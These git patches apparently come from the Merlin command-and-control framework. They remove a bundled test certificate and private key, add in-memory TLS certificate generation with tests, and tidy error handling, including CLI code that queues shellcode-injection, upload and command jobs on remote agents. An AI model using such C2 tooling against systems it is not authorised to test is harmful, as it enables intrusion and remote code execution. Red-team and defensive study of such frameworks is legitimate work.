100644 pkg/util/tls.go create mode 100644 test/util_test.go diff --git a/data/x509/server.crt b/data/x509/server.crt deleted file mode 100644 index 705687db..00000000 --- a/data/x509/server.crt +++ /dev/null @@ -1,21 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIDXTCCAkWgAwIBAgIJAMXjCgaIHqtBMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV -BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX -aWRnaXRzIFB0eSBMdGQwHhcNMTYxMDIzMDAzODA3WhcNMjYxMDIxMDAzODA3WjBF -MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 -ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB -CgKCAQEAr+gMy078qmcT45NY2cIRsEstXdaMtqH+2WuMy1CofokSPmzpLON1gfIR -rrumgylZjbGVVA2Md3SGkmdc4rjbLxr/bT3GvDFcNNtVUYewjZebSSy2Hco8icsc -gDZPB8DV3z/B9x6V4wfnFyIyjjRou9P0jtSfSFDvIWDHqmhTsM1s8kAiwiK1TE0u -g8MBoysdmdmK/pVgS6ABo8W14gKDMRvKuArr3RxmIqujU363RGQ8KL9KxaSqpP+/ -dSN0mjkoecUFgHvWPOsL1KqU4Ntj5qJdJNwlBPIDmH5+BcU/CvXdAD641N+zSNUD -PEH0e8PIPNeVtEYY6gIj2gpDgjpQBwIDAQABo1AwTjAdBgNVHQ4EFgQUtr9XjXfj -t85kkB8xMhZ4Dtl9FRAwHwYDVR0jBBgwFoAUtr9XjXfjt85kkB8xMhZ4Dtl9FRAw -DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAP6y1atvDy/NdZjDig9wo -/GaDNvNA/70/C44N6aSo243eicL+0RrRrkh8cp9C6UVRQ/LpfH/Mmhm+MYXJq+dI -b02mUW7lHgLk+iksIvSa3AmagMAtpeQ6XtWY64COY2aU4jke9Fc6kJkKNR9B9uVP -8+1g1B13TG6yKy3SAHwlrCL1RYhhxsR8yhLAMrTu4oTBwXEbupwqKxKLdeoBujAR -xZ7H5ybC7dqGmP4jm1m9zQNkpyalZJbXyIQphWMxHb3/HSCY2j8g8HXGKdO8E1nC -NEDlULSeCu2dIhi6RyiFqREbKThHNPG0PEUvNVSZHO+zyHpgecQy9u1+fkxsIAJ4 -OQ== ------END CERTIFICATE----- diff --git a/data/x509/server.key b/data/x509/server.key deleted file mode 100644 index 07d63286..00000000 --- a/data/x509/server.key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEogIBAAKCAQEAr+gMy078qmcT45NY2cIRsEstXdaMtqH+2WuMy1CofokSPmzp -LON1gfIRrrumgylZjbGVVA2Md3SGkmdc4rjbLxr/bT3GvDFcNNtVUYewjZebSSy2 -Hco8icscgDZPB8DV3z/B9x6V4wfnFyIyjjRou9P0jtSfSFDvIWDHqmhTsM1s8kAi -wiK1TE0ug8MBoysdmdmK/pVgS6ABo8W14gKDMRvKuArr3RxmIqujU363RGQ8KL9K -xaSqpP+/dSN0mjkoecUFgHvWPOsL1KqU4Ntj5qJdJNwlBPIDmH5+BcU/CvXdAD64 -1N+zSNUDPEH0e8PIPNeVtEYY6gIj2gpDgjpQBwIDAQABAoIBAHFlnhnSKX+QQ3oJ -mtWGDfEgBXbgwIVbmPaAJptKu9QWePRVMVwGpdHHQy7pOUaEeX6mZCVzNoIrVDU8 -/NwLXwDW3qKFmH/pMg/A9RdB6cbdXPWnJR+/J5eMoCrm17ufzD/G0juENAvPJGH9 -Yanaj0nGMXmCB8yOoBlcUlrANnNaZ/PXhn2lEW+dmVoY9fHVy4ARDyPvnSyAH2Em -EoClheLU9+T/CcJShNJC0EQ8UCn2a02+y7XQ4hBxHpjwBxo4aqs9D0DfZoW6AwvW -HnyL9ozAv9LEx9DHjmWXAYCfqnz5OTjVefPbp+vKWujOGpdxaCUsFigOkIAjDh+0 -KngpkIECgYEA5FCjJe3pcc9g11f+0DpZNmJhnEkS6SnNXTBhMrxi14bua+ZnJj07 -/vBKsK3aQf27PROpbl1CC2HPBAF3AfMXD/3nW1JtjfuaH0UYZs1QHog96sTKk5Ny -6JfOFOKZXm97c0KxgqoBNoJyac3J7sF2jHzYWDGbc3cGLQQZkwOZi/kCgYEAxTyL -bN+YCgQUR1I99rBAGsJfQ12he6n1eQ6s9hcthO44Qsm+opGAeZatVIZx3w90dyGg -vCS73dYmOAWX/areZNv+qV5MF6bFvujnlH1BLm91xfl3WfQYALKcTH2SSaBBOQKK -Vasmc2wofCIQptPGkguX6yAJ2V/c/7CmBhORu/8CgYByNUAXRhZjfvgTYIovgTCF -OttXAVq7VdTLy9qjNYdABtgXE27/utvbIDpMfPrTzeeumrpDYdUauneCqnTsfbxI -nJrxnJ7+yiADil21dvif/UjzujMXdUeiv+Uvn1ZW3e9j7bW8BeyLZt9yu6VKkG4L -wpu6Kj53mM93Dzj3yHIziQKBgE+lyGPZ0wrQZOP8ORuCRxDHRzLr/4bxtjgBjiT+ -bRpOHJgT4hDCExCGoU4N0LQUCKMHCGKRru/BR8O9tofwVUiDck4wzyeJ6DbU1Jep -EQZQak3dFK5VnM/DUMyutMFYnp4IAZbgu3FGzv55vyGvSXO2jM2dLX0DcjoqupCf -nG0/AoGADgm7TSi/ZypZg/BEJS/6/cv9gpYkTv1L4eCENYK2t6dFJZUVwGTCA08Y -noB9k0JpSUpk53Y/SGRZHhl1YuAwmcIG6Jjz8SPmOfir/+8HlunEXvzybWHE8D20 -id+f6OCGccq5OJ0/tZA6pG8WIc8t1jr3tNhMizoX/RALxNovIM4= ------END RSA PRIVATE KEY----- diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 22f2ed93..c619141f 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -18,6 +18,9 @@ package http2 import ( + "errors" + + "github.com/Ne0nd0g/merlin/pkg/util" // Standard "crypto/sha1" "crypto/tls" @@ -65,64 +68,83 @@ func New(iface string, port int, protocol string, key string, certificate string Port: port, Mux: http.NewServeMux(), } - - // Check to make sure files exist + var cer tls.Certificate + var err error + // Check if certificate exists on disk _, errCrt := os.Stat(certificate) - if errCrt != nil { - message("warn", "There was an error importing the SSL/TLS x509 certificate") - message("warn", errCrt.Error()) - return s, errCrt - } - s.Certificate = certificate - - _, errKey := os.Stat(key) - if errKey != nil { - message("warn", "There was an error importing the SSL/TLS x509 key") - message("warn", errKey.Error()) - logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key\r\n%s", errKey.Error())) - return s, errKey - } - s.Key = key - - cer, err := tls.LoadX509KeyPair(certificate, key) - if err != nil { - message("warn", "There was an error importing the SSL/TLS x509 key pair") - message("warn", "Ensure a keypair is located in the data/x509 directory") - message("warn", err.Error()) - logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key pair\r\n%s", err.Error())) - return s, err - } + if os.IsNotExist(errCrt) { + // generate a new ephemeral certificate + message("warn", "No certificate found at the provided path, creating certificate in-memory for this session only.") + message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") + cerp, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //ec certs not supported (yet) :( + if err != nil { + message("warn", "There was an error generating the SSL/TLS certificate") + message("warn", err.Error()) + return s, err + } + cer = *cerp + } else { + if errCrt != nil { + message("warn", "There was an error importing the SSL/TLS x509 certificate") + message("warn", errCrt.Error()) + return s, errCrt + } + s.Certificate = certificate + + _, errKey := os.Stat(key) + if errKey != nil { + message("warn", "There was an error importing the SSL/TLS x509 key") + message("warn", errKey.Error()) + logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key\r\n%s", errKey.Error())) + return s, errKey + } + s.Key = key + + cer, err = tls.LoadX509KeyPair(certificate, key) + if err != nil { + message("warn", "There was an error importing the SSL/TLS x509 key pair") + message("warn", "Ensure a keypair is located in the data/x509 directory") + message("warn", err.Error()) + logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key pair\r\n%s", err.Error())) + return s, err + } - // Read x.509 Public Key into a variable - PEMData, err := ioutil.ReadFile(certificate) - if err != nil { - message("warn", "There was an error reading the SSL/TLS x509 certificate file") - message("warn", err.Error()) - return s, err - } + // Read x.509 Public Key into a variable + PEMData, err := ioutil.ReadFile(certificate) + if err != nil { + message("warn", "There was an error reading the SSL/TLS x509 certificate file") + message("warn", err.Error()) + return s, err + } - // Decode the x.509 Public Key from PEM - block, _ := pem.Decode(PEMData) - if block == nil { - message("warn", "failed to decode PEM block from public key") - } + // Decode the x.509 Public Key from PEM + block, _ := pem.Decode(PEMData) + if block == nil { + message("warn", "failed to decode PEM block from public key") + } - // Convert the PEM block into a Certificate object - pubCert, err := x509.ParseCertificate(block.Bytes) - if err != nil { - message("warn", err.Error()) - } + // Convert the PEM block into a Certificate object + pubCert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + message("warn", err.Error()) + } - // Create SHA1 fingerprint from Certificate - sha1Fingerprint := sha1.Sum(pubCert.Raw) + // Create SHA1 fingerprint from Certificate + sha1Fingerprint := sha1.Sum(pubCert.Raw) - // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin - merlinCRT := "e2c9fbb41712c15b57b5cbb6e6ec96fb5efed8fd" + // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin + merlinCRT := "e2c9fbb41712c15b57b5cbb6e6ec96fb5efed8fd" - // Check to see if the Public Key SHA1 finger print matches the certificate distributed with Merlin for testing - if merlinCRT == hex.EncodeToString(sha1Fingerprint[:]) { - message("warn", "Insecure publicly distributed Merlin x.509 testing certificate in use") - message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") + // Check to see if the Public Key SHA1 finger print matches the certificate distributed with Merlin for testing + if merlinCRT == hex.EncodeToString(sha1Fingerprint[:]) { + message("warn", "Insecure publicly distributed Merlin x.509 testing certificate in use") + message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") + } + } + + if len(cer.Certificate) < 1 || cer.PrivateKey == nil { + message("warn", "Unable to import certificate for use in Merlin: empty certificate structure.") + return s, errors.New("Empty certificate structure") } // Configure TLS diff --git a/pkg/util/tls.go b/pkg/util/tls.go new file mode 100644 index 00000000..f5098785 --- /dev/null +++ b/pkg/util/tls.go @@ -0,0 +1,112 @@ +package util + +import ( + "crypto" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "log" + "math/big" + "net" + "time" +) + +/* +GenerateTLSCert will generate a new certificate. Nil values in the parameters are replaced with random or blank values. + +If makeRsa is set to true, the key generated is an RSA key (EC by default). + +If a nil date is passed in for notBefore and notAfter, a random date is picked in the last year. + +If a nil date is passed in for notAfter, the date is set to be 2 years after the date provided (or generated) in the notBefore parameter. + +Please ensure privkey is a proper private key. The go implementaiton of this value is kinda lame, so no type assertion can be made in the function definition :(. +*/ +func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, notBefore, notAfter *time.Time, privKey crypto.PrivateKey, makeRsa bool) (*tls.Certificate, error) { + //https://golang.org/src/crypto/tls/generate_cert.go taken from here mostly + var err error + + if serial == nil { + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) //128 bits tops + serial, err = rand.Int(rand.Reader, serialNumberLimit) + if err != nil { + log.Fatalf("failed to generate serial number: %s", err) + } + } + + if subject == nil { //pointers make it easier to compare to nils + subject = &pkix.Name{} //todo: generate randome subject attributes? + } + + if dnsNames == nil { + //todo: generate random names? + } + + if notBefore == nil { + + randDay, err := rand.Int(rand.Reader, big.NewInt(360)) //not 365, playing it safe... time and computers are hard + if err != nil { + return nil, err + } + + b4 := time.Now().AddDate(0, 0, -1*int(randDay.Int64())) //random date sometime in the last year + notBefore = &b4 + } + + if notAfter == nil { + aft := notBefore.AddDate(2, 0, 0) //2 years after the notbefore date + notAfter = &aft + } + + tpl := x509.Certificate{ + SerialNumber: serial, + Subject: *subject, + IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, + DNSNames: dnsNames, + NotBefore: *notBefore, + NotAfter: *notAfter, + KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + BasicConstraintsValid: true, + } + if privKey == nil { + if makeRsa { + privKey, err = rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + return nil, err + } + } else { + privKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader) //maybe check to see if P384 is the right choice (would want to be the most common choice for ec curves) + if err != nil { + return nil, err + } + } + } + + crtBytes, err := x509.CreateCertificate(rand.Reader, &tpl, &tpl, getPublicKey(privKey), privKey) + if err != nil { + return nil, err + } + + return &tls.Certificate{ + Certificate: [][]byte{crtBytes}, + PrivateKey: privKey, + }, nil +} + +//getPublicKey takes in a private key, and provides the public key from it, since apparently it's too hard for go to have a sane 'private key' interface. +//https://golang.org/src/crypto/tls/generate_cert.go +func getPublicKey(priv interface{}) interface{} { + switch k := priv.(type) { + case *rsa.PrivateKey: + return &k.PublicKey + case *ecdsa.PrivateKey: + return &k.PublicKey + default: + return nil + } +} diff --git a/test/util_test.go b/test/util_test.go new file mode 100644 index 00000000..41c7286b --- /dev/null +++ b/test/util_test.go @@ -0,0 +1,188 @@ +package test + +import ( + "bytes" + "crypto" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "fmt" + "math/big" + "testing" + "time" + + "github.com/Ne0nd0g/merlin/pkg/util" +) + +//test files for the exported functions in the 'util' package + +func TestTLSCertGeneration(t *testing.T) { + //test setting values works + //serial + serial := big.NewInt(1337) + //subject + cnString := "It's in that place where I put that thing that time" + subj := pkix.Name{ + CommonName: cnString, + } + //dnsNames + dnsName := "asioagents.com.au" + dnsNames := []string{dnsName} + //time (before and after) + notBefore := time.Now().AddDate(0, 0, -5) // 5 days ago + notAfter := time.Now().AddDate(13, 3, 7) //13 years, 3 months, 7 days + //privKey + ecpk, err := ecdsa.GenerateKey(elliptic.P521(), rand.Reader) + if err != nil { + t.Fatal("Couldn't generate EC key", err) + } + pk := crypto.PrivateKey(ecpk) + certSetVals, err := util.GenerateTLSCert(serial, &subj, dnsNames, ¬Before, ¬After, pk, false) + if err != nil { + t.Fatal("Certificate generation[1] error:" + err.Error()) + } + + x5certSetVals, err := x509.ParseCertificate(certSetVals.Certificate[0]) + //serial + if x5certSetVals.SerialNumber.Cmp(serial) != 0 { + t.Error("Serial number mismatch") + } + //subject + if x5certSetVals.Subject.CommonName != cnString { + t.Error("cn mismatch in subject: \n" + x5certSetVals.Subject.CommonName + "\n should be \n" + cnString) + } + + //dnsNames + if len(x5certSetVals.DNSNames) < 1 || x5certSetVals.DNSNames[0] != dnsName { + t.Error(fmt.Sprintf("dnsnames failed assignment: should be a length 1 string slice with the only contents:\n%s\nbut is:\n%v", dnsName, x5certSetVals.DNSNames)) + } + + //times + expectYear, expectMonth, expectDay := notBefore.Date() + certYear, certMonth, certDay := x5certSetVals.NotBefore.Date() + if expectYear != certYear || expectMonth != certMonth || expectDay != certDay { + t.Error(fmt.Errorf( + "before date invalid:\nYear:%v (expected %v)\nMonth:%v (expected %v)\nDay:%v (expected %v)", + certYear, + expectYear, + certMonth, + expectMonth, + certDay, + expectDay, + )) + } + expectYear, expectMonth, expectDay = notAfter.Date() + certYear, certMonth, certDay = x5certSetVals.NotAfter.Date() + if expectYear != certYear || expectMonth != certMonth || expectDay != certDay { + t.Error(fmt.Errorf( + "after date invalid:\nYear:%v (expected %v)\nMonth:%v (expected %v)\nDay:%v (expected %v)", + certYear, + expectYear, + certMonth, + expectMonth, + certDay, + expectDay, + )) + } + + //privKey + if certSetVals.PrivateKey.(*ecdsa.PrivateKey).Params().Name != "P-521" { + t.Error("Incorrect curve name: " + certSetVals.PrivateKey.(*ecdsa.PrivateKey).Params().Name) + } + //maybe also check bits are expected? unlikely to be more brokener than wrong name though.. + + //test having unset values works to randomise that attribute + x5Certs := []*x509.Certificate{} + tlsCerts := []*tls.Certificate{} + for i := 0; i < 10; i++ { + certRand1, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //making rsa to test enc/dec good + if err != nil { + t.Fatal("Certificate generation[2] error:" + err.Error()) + } + tlsCerts = append(tlsCerts, certRand1) + x5CertRand1, err := x509.ParseCertificate(certRand1.Certificate[0]) + if err != nil { + t.Fatal("Certificate generation[5] error:" + err.Error()) + } + x5Certs = append(x5Certs, x5CertRand1) + } + + for i, cer := range x5Certs { + //checking values in isolation + + //test generated times are accurate + + //timeBefore must be before today + if cer.NotBefore.After(time.Now()) { + t.Error("Generated time incorrect:", cer.NotBefore, "(today: ", time.Now(), ")") + } + //timeBefore must not be longer ago than 1 year + if cer.NotBefore.Before(time.Now().AddDate(-1, 0, 0)) { + t.Error("Generated time before too long ago: ", cer.NotBefore, time.Now()) + } + //timeAfter must be 2 years after timeBefore + certYear, certMonth, certDay := cer.NotBefore.Date() + acertYear, acertMonth, acertDay := cer.NotAfter.Date() + if acertYear != (certYear+2) || certDay != acertDay || certMonth != acertMonth { + t.Error("Generated times for cert after inconsistent. Got:", acertYear, acertMonth, acertDay, "Expected:", certYear+2, certMonth, certDay) + } + + //comparing certificates against other certificates + for ii, cer2 := range x5Certs { + + if i == ii { + continue //don't compare same values + } + //check serial is different + if cer.SerialNumber.Cmp(cer2.SerialNumber) == 0 { //same value :( + t.Error(fmt.Errorf("Serial numbers generated are the same: %d and %d: %v", i, ii, cer.SerialNumber.Int64())) + } + } + } + + k1 := tlsCerts[0].PrivateKey.(*rsa.PrivateKey) + k1pub := k1.Public().(*rsa.PublicKey) + k2 := tlsCerts[1].PrivateKey.(*rsa.PrivateKey) + k2pub := k2.Public().(*rsa.PublicKey) + + //test the certificates priv/pub are correct (can use for enc/dec operations) + plain1 := []byte("plainmessage1") + plain2 := []byte("plainmsg2") + + ct1, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, k1pub, plain1, []byte{}) + if err != nil { + t.Error("Error during encrypt/decrypt verification 1: ", err) + } + ct2, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, k2pub, plain2, []byte{}) + if err != nil { + t.Error("Error during encrypt/decrypt verification 2: ", err) + } + + dec1, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, k1, ct1, []byte{}) + if err != nil { + t.Error("Error during encrypt/decrypt verification 3: ", err) + } + + dec2, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, k2, ct2, []byte{}) + if err != nil { + t.Error("Error during encrypt/decrypt verification 4: ", err) + } + + if bytes.Compare(dec1, plain1) != 0 || bytes.Compare(dec2, plain2) != 0 { + t.Error("Error during encrypt/decrypt verification 5: decrypted values don't match (", + string(plain1), + string(dec1), + "), (", + string(plain2), + string(dec2), + ")", + ) + } + + //todo: test certificates generated can be used for TLS operations +} From 5e814289a78948889ce71d5e784e7d113f2709c9 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 09:13:14 -0500 Subject: [PATCH 040/112] Handled errors in cli.go and resolved gosec warnings. --- pkg/cli/cli.go | 37 ++++++++++++++++++++++++++----------- 1 file changed, 26 insertions(+), 11 deletions(-) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 6e45c1e5..5d842144 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -75,7 +75,13 @@ func Shell() { color.Red(err.Error()) } prompt = p - defer prompt.Close() + + defer func() { + err := prompt.Close() + if err != nil { + log.Fatal(err) + } + }() log.SetOutput(prompt.Stderr()) @@ -227,7 +233,8 @@ func Shell() { arg := strings.Join(cmd[1:], " ") argS, errS := shellwords.Parse(arg) if errS != nil { - message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + message("warn", fmt.Sprintf("There was an error parsing command line "+ + "argments: %s\r\n%s", line, errS.Error())) break } if len(argS) >= 1 { @@ -340,7 +347,8 @@ func Shell() { m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } case "rtlcreateuserthread": - m, err := agents.AddJob(shellAgent, "shellcode", []string{"rtlcreateuserthread", cmd[2], b64}) + m, err := agents.AddJob(shellAgent, "shellcode", []string{"rtlcreateuserthread", + cmd[2], b64}) if err != nil { message("warn", err.Error()) break @@ -386,7 +394,8 @@ func Shell() { arg := strings.Join(cmd[0:], " ") argS, errS := shellwords.Parse(arg) if errS != nil { - message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + message("warn", fmt.Sprintf("There was an error parsing command line "+ + "argments: %s\r\n%s", line, errS.Error())) break } m, err = agents.AddJob(shellAgent, "ls", argS) @@ -411,8 +420,10 @@ func Shell() { if len(cmd) > 2 { _, errU := strconv.ParseInt(cmd[2], 10, 64) if errU != nil { - message("warn", fmt.Sprintf("There was an error converting %s to an int64", cmd[2])) - message("info", "Kill date takes in a UNIX epoch timestamp such as 811123200 for September 15, 1995") + message("warn", fmt.Sprintf("There was an error converting %s to an"+ + " int64", cmd[2])) + message("info", "Kill date takes in a UNIX epoch timestamp such as"+ + " 811123200 for September 15, 1995") break } m, err := agents.AddJob(shellAgent, "killdate", cmd[1:]) @@ -492,13 +503,16 @@ func Shell() { arg := strings.Join(cmd[1:], " ") argS, errS := shellwords.Parse(arg) if errS != nil { - message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + message("warn", fmt.Sprintf("There was an error parsing command line "+ + ""+ + "argments: %s\r\n%s", line, errS.Error())) break } if len(argS) >= 2 { _, errF := os.Stat(argS[0]) if errF != nil { - message("warn", fmt.Sprintf("There was an error accessing the source upload file:\r\n%s", errF.Error())) + message("warn", fmt.Sprintf("There was an error accessing the source "+ + "upload file:\r\n%s", errF.Error())) break } m, err := agents.AddJob(shellAgent, "upload", argS[0:2]) @@ -795,7 +809,8 @@ func menuHelpAgent() { fmt.Println() table.Render() fmt.Println() - message("info", "Visit the wiki for additional information https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu") + message("info", "Visit the wiki for additional information "+ + "https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu") } func filterInput(r rune) (rune, bool) { @@ -834,7 +849,7 @@ func exit() { func executeCommand(name string, arg []string) { var cmd *exec.Cmd - cmd = exec.Command(name, arg...) + cmd = exec.Command(name, arg...) // #nosec - G204 -Users can execute any arbitrary command by design out, err := cmd.CombinedOutput() @@ -936,7 +951,7 @@ func parseShellcodeFile(filePath string) ([]byte, error) { message("debug", "Entering into cli.parseShellcodeFile function") } - b, errB := ioutil.ReadFile(filePath) + b, errB := ioutil.ReadFile(filePath) // #nosec - G304 - Users can include any file from anywhere if errB != nil { if core.Debug { message("debug", "Leaving cli.parseShellcodeFile function") From bc76a96d7e7f8f078177825ffe8921bc2c3007d6 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 09:19:25 -0500 Subject: [PATCH 041/112] Handled errors in modules.go and resolved gosec warnings. --- pkg/modules/modules.go | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index 543cb9fe..ef402f0c 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -228,7 +228,7 @@ func Create(modulePath string) (Module, error) { var m Module // Read in the module's JSON configuration file - f, err := ioutil.ReadFile(modulePath) + f, err := ioutil.ReadFile(modulePath) // #nosec - G304 - User should be able to read in any file if err != nil { return m, err } @@ -271,7 +271,10 @@ func Create(modulePath string) (Module, error) { k := marshalMessage(*moduleJSON["powershell"]) m.Powershell = (*json.RawMessage)(&k) var p PowerShell - json.Unmarshal(k, &p) + err := json.Unmarshal(k, &p) + if err != nil { + return m, errors.New("there was an error unmarshaling the powershell JSON object") + } } } From 1b22bc70cf060a0e0ab3684999ec34969f9063b4 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 09:43:05 -0500 Subject: [PATCH 042/112] Handled errors in http2.go and resolved gosec warnings. --- pkg/servers/http2/http2.go | 70 +++++++++++++++++++++++++++++++------- 1 file changed, 57 insertions(+), 13 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 22f2ed93..fd039006 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -19,7 +19,7 @@ package http2 import ( // Standard - "crypto/sha1" + "crypto/sha1" // #nosec - G505 - This library is required to check X.509 certificates using SHA1 hash "crypto/tls" "crypto/x509" "encoding/base64" @@ -94,7 +94,7 @@ func New(iface string, port int, protocol string, key string, certificate string } // Read x.509 Public Key into a variable - PEMData, err := ioutil.ReadFile(certificate) + PEMData, err := ioutil.ReadFile(certificate) // #nosec G304 - Users can specify any file or path for X.509 cert if err != nil { message("warn", "There was an error reading the SSL/TLS x509 certificate file") message("warn", err.Error()) @@ -113,8 +113,9 @@ func New(iface string, port int, protocol string, key string, certificate string message("warn", err.Error()) } + // TODO switch to SHA256 // Create SHA1 fingerprint from Certificate - sha1Fingerprint := sha1.Sum(pubCert.Raw) + sha1Fingerprint := sha1.Sum(pubCert.Raw) // #nosec G401 - Required to handle certificates with no SHA256 hash // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin merlinCRT := "e2c9fbb41712c15b57b5cbb6e6ec96fb5efed8fd" @@ -177,12 +178,28 @@ func (s *Server) Run() error { if s.Protocol == "h2" { server := s.Server.(*http.Server) - defer server.Close() + + defer func() { + err := server.Close() + if err != nil { + message("warn", fmt.Sprintf("There was an error starting the h2 server:\r\n%s", + err.Error())) + return + } + }() go logging.Server(server.ListenAndServeTLS(s.Certificate, s.Key).Error()) return nil } else if s.Protocol == "hq" { server := s.Server.(*h2quic.Server) - defer server.Close() + + defer func() { + err := server.Close() + if err != nil { + message("warn", fmt.Sprintf("There was an error starting the hq server:\r\n%s", + err.Error())) + return + } + }() go logging.Server(server.ListenAndServeTLS(s.Certificate, s.Key).Error()) return nil } @@ -228,7 +245,12 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { j := messages.Base{ Payload: &payload, } - json.NewDecoder(r.Body).Decode(&j) + err1 := json.NewDecoder(r.Body).Decode(&j) + if err1 != nil { + message("warn", fmt.Sprintf("There was an error decoding a POST message sent by an "+ + "agent:\r\n%s", err1)) + return + } if core.Debug { message("debug", fmt.Sprintf("[DEBUG]POST DATA: %v", j)) @@ -249,12 +271,22 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { if err != nil { message("warn", err.Error()) } - json.NewEncoder(w).Encode(x) + err2 := json.NewEncoder(w).Encode(x) + if err2 != nil { + message("warn", fmt.Sprintf("There was an error encoding the StatusCheckIn JSON "+ + "message:\r\n%s", err2)) + return + } case "CmdResults": // TODO move to its own function var p messages.CmdResults - json.Unmarshal(payload, &p) + err3 := json.Unmarshal(payload, &p) + if err3 != nil { + message("warn", fmt.Sprintf("There was an error unmarshalling the CmdResults JSON "+ + "object:\r\n%s", err3)) + return + } agents.Log(j.ID, fmt.Sprintf("Results for job: %s", p.Job)) message("success", fmt.Sprintf("Results for job %s at %s", p.Job, time.Now().UTC().Format(time.RFC3339))) @@ -269,14 +301,23 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { case "AgentInfo": var p messages.AgentInfo - json.Unmarshal(payload, &p) + err4 := json.Unmarshal(payload, &p) + if err4 != nil { + message("warn", fmt.Sprintf("There was an error unmarshalling the AgentInfo "+ + "JSON object:\r\n%s", err4)) + return + } if core.Debug { message("debug", fmt.Sprintf("AgentInfo JSON object: %v", p)) } agents.UpdateInfo(j, p) case "FileTransfer": var p messages.FileTransfer - json.Unmarshal(payload, &p) + err5 := json.Unmarshal(payload, &p) + if err5 != nil { + message("warn", fmt.Sprintf("There was an error unmarshalling the FileTransfer JSON "+ + "object:\r\n%s", err5)) + } if p.IsDownload { agentsDir := filepath.Join(core.CurrentDir, "data", "agents") _, f := filepath.Split(p.FileLocation) // We don't need the directory part for anything @@ -297,13 +338,14 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { message("warn", fmt.Sprintf("There was an error writing to : %s", p.FileLocation)) message("warn", writingErr.Error()) } else { - message("success", fmt.Sprintf("Successfully downloaded file %s with a size of %d bytes from agent %s to %s", + message("success", fmt.Sprintf("Successfully downloaded file %s with a size of "+ + "%d bytes from agent %s to %s", p.FileLocation, len(downloadBlob), j.ID.String(), downloadFile)) - agents.Log(j.ID, fmt.Sprintf("Successfully downloaded file %s with a size of %d bytes from"+ - " agent to %s", + agents.Log(j.ID, fmt.Sprintf("Successfully downloaded file %s with a size of %d "+ + "bytes from agent to %s", p.FileLocation, len(downloadBlob), downloadFile)) @@ -344,3 +386,5 @@ func message(level string, message string) { color.Red("[_-_]Invalid message level: " + message) } } + +// TODO make sure all errors are logged to server log From 317435d4f7bbf4cca1d35dffff1d41a21676a30d Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 09:50:44 -0500 Subject: [PATCH 043/112] Fixed code analysis problems --- cmd/merlinserver/main.go | 2 +- pkg/agent/exec.go | 7 +++++++ pkg/banner/banner.go | 4 ++-- pkg/cli/cli.go | 2 +- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git 